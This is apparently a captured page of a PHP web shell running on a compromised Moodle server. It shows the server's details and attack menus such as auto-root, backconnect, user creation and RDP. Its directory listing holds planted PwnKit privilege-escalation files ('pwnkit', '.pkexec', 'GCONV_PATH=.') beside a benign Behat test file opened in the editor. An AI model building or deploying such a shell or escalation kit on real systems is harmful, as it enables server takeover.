Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
workshop /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_mod_workshop.php
8.08
KB
-rwxrwxrwx
delete_submission.feature
4.38
KB
-rwxrwxrwx
embedded_images.feature
4.99
KB
-rwxrwxrwx
example_submission.feature
1.81
KB
-rwxrwxrwx
export_submission.feature
4.47
KB
-rwxrwxrwx
file_type_restriction.feature
6.25
KB
-rwxrwxrwx
grade_to_pass.feature
4.87
KB
-rwxrwxrwx
grading_strategy.feature
4.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
submission_types.feature
9.55
KB
-rwxrwxrwx
workshop_assessment.feature
8.63
KB
-rwxrwxrwx
workshop_late_submission.featu...
3.59
KB
-rwxrwxrwx
workshop_section_remembered.fe...
1.6
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : grade_to_pass.feature
@mod @mod_workshop Feature: Setting grades to pass via workshop editing form In order to define grades to pass As a teacher I can set them in the workshop settings form, without the need to go to the gradebook Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Terry1 | Teacher1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | | Course1 | c1 | And the following "course enrolments" exist: | user | course | role | | teacher1 | c1 | editingteacher | Scenario: Adding a new workshop with grade to pass field set Given the following "activities" exist: | activity | name | course | idnumber | | workshop | Awesome workshop | c1 | workshop1 | When I am on the "Awesome workshop" "workshop activity editing" page logged in as teacher1 And I set the field "Submission grade to pass" to "45" And I set the field "Assessment grade to pass" to "10.5" And I press "Save and return to course" And I am on the "Awesome workshop" "workshop activity editing" page Then the field "Submission grade to pass" matches value "45.00" And the field "Assessment grade to pass" matches value "10.50" @javascript Scenario: Grade to pass kept even with submission types without online text (MDL-64862) Given the following "activities" exist: | activity | course | name | submissiongradepass | gradinggradepass | submissiontypetextavailable | | workshop | c1 | Another workshop | 42 | 10.1 | 0 | When I am on the "Course1" course page logged in as teacher1 Then I should not see "Adding a new Workshop" And I am on the "Another workshop" "workshop activity editing" page And the field "Submission grade to pass" matches value "42.00" And the field "Assessment grade to pass" matches value "10.10" Scenario: Adding a new workshop with grade to pass fields left empty Given the following "activities" exist: | activity | name | course | idnumber | | workshop | Another awesome workshop | c1 | workshop1 | When I am on the "Another awesome workshop" "workshop activity editing" page logged in as teacher1 Then the field "Submission grade to pass" matches value "0.00" And the field "Assessment grade to pass" matches value "0.00" Scenario: Adding a new workshop with non-numeric value of a grade to pass Given the following "activities" exist: | activity | name | course | idnumber | section | | workshop | Another awesome workshop | c1 | workshop1 | 1 | When I am on the "Another awesome workshop" "workshop activity editing" page logged in as teacher1 And I set the field "Assessment grade to pass" to "You shall not pass!" And I press "Save and return to course" Then I should see "Updating Workshop in Topic 1" And I should see "You must enter a number here" Scenario: Adding a new workshop with invalid value of a grade to pass Given the following "activities" exist: | activity | name | course | idnumber | section | | workshop | Almost awesome workshop | c1 | workshop1 | 1 | When I am on the "Almost awesome workshop" "workshop activity editing" page logged in as teacher1 And I set the field "Assessment grade to pass" to "10000000" And I press "Save and return to course" Then I should see "Updating Workshop in Topic 1" And I should see "The grade to pass can not be greater than the maximum possible grade" Scenario: Emptying grades to pass fields sets them to zero Given the following "activities" exist: | activity | name | course | idnumber | section | | workshop | Super awesome workshop | c1 | workshop1 | 1 | When I am on the "Super awesome workshop" "workshop activity editing" page logged in as teacher1 And I set the field "Submission grade to pass" to "59.99" And I set the field "Assessment grade to pass" to "0.000" And I press "Save and return to course" And I should not see "Updating Workshop in Topic 1" And I am on the "Super awesome workshop" "workshop activity editing" page And the field "Submission grade to pass" matches value "59.99" And the field "Assessment grade to pass" matches value "0.00" When I set the field "Submission grade to pass" to "" And I set the field "Assessment grade to pass" to "" And I press "Save and display" Then I should not see "Adding a new Workshop" And I am on the "Super awesome workshop" "workshop activity editing" page And the field "Submission grade to pass" matches value "0.00" And the field "Assessment grade to pass" matches value "0.00"
Close